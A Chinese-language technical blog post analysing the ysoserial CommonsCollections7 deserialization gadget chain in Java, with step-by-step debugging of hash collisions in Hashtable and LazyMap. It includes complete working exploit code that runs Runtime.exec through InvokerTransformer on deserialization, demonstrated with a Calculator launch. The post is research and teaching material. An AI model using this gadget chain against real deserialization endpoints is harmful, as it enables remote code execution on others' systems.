YsoSerial 工具常用Payload分析之Common-Collections7(四)

9eek發表於2021-08-04

前言

YsoSerial Common-Collection3.2.1 反序列化利用鏈終於來到最後一個,回顧一下:

  1. 以InvokerTranformer為基礎通過動態代理觸發AnnotationInvocationHandler裡面的Invoker方法呼叫LazyMap get方式的CC1
  2. 以TemplatesImpl為基礎,通過TrAXFilter、InstantiateTransformer組合繫結LazyMap動態代理觸發AnnotationInvocationHandler#Invoker方法方式的CC3
  3. 在CC1 Lazymap的基礎上進一步包裝成TiedMapEntry,並以BadAttributeValueExpException呼叫TiedMapEntry#toString方法的CC5
  4. 在CC5基礎上將觸發換成HashMap呼叫hashCode方式的CC6

呼叫棧

接下來先看下cc7的程式碼

public Hashtable getObject(final String command) throws Exception {

        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{command};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                execArgs),
            new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        return hashtable;
    }

抓一下呼叫棧,可以看到依次呼叫的是Hashtable#reconstitutionPut,AdstractMap#equals方法。然後呼叫LazyMap的get方法。

image-20210729181133734

其實呼叫鏈出來後一切都索然無味了,但我們還是要分析下呼叫鏈各個環節的一些關鍵點,首先看下Hashtable的readObject方法原始碼:

image-20210803190222317

首先從序列化資料裡面讀取了elements,然後for迴圈便利elements次讀取序列化裡面的key、value值,這個elements和key、value分別是什麼東西呢,找到writeObject尋找答案:

image-20210803191156410

寫入了類變數count、然後迭代分別寫入了類變數table中entry的key、value,其實就是hashtable中的key、value,只不過內部實現是通過entry連結串列實現,然後跟進reconstitutionPut, 這裡有個key的關鍵方法e.key。equals,結合前文我們分析過TiedMapEntry的equals可以觸發Lazymap的get進而RCE,其實直接使用TiedMapEntry#equal也是可以觸發的,這裡就不展開TiedMapEntry吧,沒啥太大的意義,就按照Ysoserial作者思路來。

image-20210803191518907

挖掘利用鏈

前面文章介紹了LazyMap#Get()方法觸發RCE的方法,來回憶下LazyMap觸發的呼叫鏈,當LazyMap呼叫get方法是,回去尋找繫結LazyMap中的是否存在key,不存在就通過transform方法去生成,而這個transformer是惡意的,那就觸發命令執行:

image-20210804145136068

image-20210804145237905

其實下一步就放在有誰能夠呼叫lazyMap的get方法,除開之前介紹的tiedMapEntity之外,還有LazyMap本身也能呼叫,在LazyMap繫結的是HashMap的情況下,呼叫LazyMap#equals其實就是呼叫HashMap的介面AbstractMap的equal方法,可以使用IDEA的findUsage方法,也能查到呼叫:

image-20210804145916693

那觸發的方法擴充套件到誰呼叫LazyMap的equal就好了,而這就和HashTable就繫結起來了,HashTable的readObject裡面就有觸發,但要滿足兩個條件:

image-20210804150601243

  1. table[index] 不為null。
  2. 因為&&是從左向右執行,所以要e.hash等於當前實參key的hash。

首先分析下Hashtable#readObject 的整體邏輯,因為在Hashtable中實現邏輯的Entry物件被transient修飾,所以序列化的時候不能將table資料放到序列化資料裡面,所以在writeObject時會單獨寫入key、value,readObject時重新put進entry當中。table的數量通過類變數count控制。

image-20210804150927071

在迭代第一次傳入key、value時tab始終為空,所以要呼叫到equal至少要迭代兩次,也就要求table中的元素大於等於2,且兩個元素的key的hash值要一樣,那在構造除開hash一樣,還要求equals執行為false,不然就會用新元素的value替換舊元素,這樣table總的size就只為1,無法觸發反序列化RCE。

尋找hashCode()一樣,但又不相等的元素

那真的存在這樣的兩個值嗎?答案當然是存在,以String為例,我們看一下String的hashCode演算法

image-20210804152901920

核心邏輯就是:

h=31*h + val[i]

h初始值為0,將字串拆分為字元,每次對結果乘以31再累加,那可以確定相同的h值,肯定對應不同的val[i]解,比如aabB,看一下結果:

image-20210804162125084

那是不是我們就找到了符合作為Hashtable的key了,其實不是,我們想要執行的其實是Lazy Map的hashcode一致,內部其實是map的hashcode,找一下hashmap的實現,對key做hashcode,然後異或上value的hashcode:

image-20210804180005690

其實只要key的hashcode一樣,然後value一樣就能滿足,試驗下:

image-20210804182214242

結果:

image-20210804185607963

創造兩個元素的HashTable

在上面已經找到hash一樣的HashMap的前提下,繫結到LazyMap上,然後分別push進HashTable,然後進行反序列化:

 //        Hashtable
        String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";

        System.out.println(System.getProperty("java.version"));

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };
        Transformer[] fakeTransfomer = new Transformer[]{
                new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);  // 生成了LazyMap  不可反序列化的map
        lazyMap1.put("aa",1);


        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("bB",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        hashtable.put(lazyMap2,2);
        ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
        String path =  serialize(hashtable);
        unserialize(path);

執行下,命令並沒有執行:

image-20210804190844080

看樣子什麼地方出了問題,列印下Hashtable的size,發現size為1,說明第二次put的時候出了問題,除錯下發現問題出在了,AbstractMap上,因為我們為了避免序列化時執行命令將chainedTransfomer裡面的transfoemer陣列用constranTransfrom(1) 替代,命名為fakeTransfomer,而這個fakeTransformer執行後的結果為1,和hashtable的value1一致,所以會返回true。

image-20210804191547228

hash和equl的判斷都為true,就會進入if分支,完成新舊變數替換,而不會新增元素,所以size始終為1

image-20210804191719867

修改fakeTransfomer為一個空陣列,或者將hashTable的value為其他值,為了更通用這裡採用空陣列的方式:

Transformer[] fakeTransfomer = new Transformer[]{
                
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);

再次執行,程式碼還是沒有執行,列印size也是2,是滿足條件的,但為啥命令沒有執行呢,再次除錯,發現問題出在了equal的判斷上,equal的判斷要求首先要滿足兩個hashMap的元素數量一致才能進行下一步的判斷,而在put時也會執行equal,呼叫到m.get()方法,而m是一個LazyMap,在LazyMap#get() 方法存在一個特性,就是在繫結到HashMap沒有這個元素的時候,動態新增一個這個沒有的元素,

image-20210804192230963

所以在LazyMap2進行put操作時,會去get(lazyMap1.key),lazyMap1的key為"aa",所以lazyMap2會多一個aa為key,aa為value的元素(transformer陣列為空時的執行結果),在put後列印下lazyMap2驗證下:

image-20210804192442862

果然,因為兩個map Size的判斷在前面,這樣就不會執行後續進行RCE的get方法

image-20210804193006694

所以,需要我們在第二次put後,把第二個hashmap進行remove一個key為aa的操作,完整程式碼:

//        Hashtable
        String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";

        System.out.println(System.getProperty("java.version"));

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };
        Transformer[] fakeTransfomer = new Transformer[]{

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);  // 生成了LazyMap  不可反序列化的map
        lazyMap1.put("aa",1);


        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("bB",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        hashtable.put(lazyMap2,2);
        lazyMap2.remove("aa");
        System.out.println(hashtable.size());
        ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
        String path =  serialize(hashtable);
        unserialize(path);

執行一下,命令成功執行:

image-20210804193319401

YsoSerial的程式碼幾乎一致僅就把我這裡的aa和aB替換成yy和zZ。

總結

這篇文章分析了下CC7的原理,本來上週五應該就能發出文章的,但是卻因為文中那個fakeTransfomer的原因一直被卡住,不知道問題出在哪裡,找了很多朋友看也沒看出問題,最終還是老老實實一步一步的除錯才發現問題,以前只關注transformer的構造,沒關注最終的返回,難搞~,期間也去學習了下Java的值傳遞型別和HashMap實現原理等,消耗了比較長的時間。

這是Common-collections 3.2.1的最後一條利用鏈分析,這個也是沒有版本依賴的,我用jdk1.8u261也是能夠執行的,總結下程式碼中關鍵點:

  1. 要找到兩個元素hashcode一樣,但euqal的結果又為false的hashmap。
  2. 使用fakeTransfomer時要關注返回滿足HashTable元素大雨等於2。
  3. 在第二次put過後要對第二個HashMap進行remove(remove第一個hashmap的key)。

公眾號

歡迎關注我的公眾號

相關文章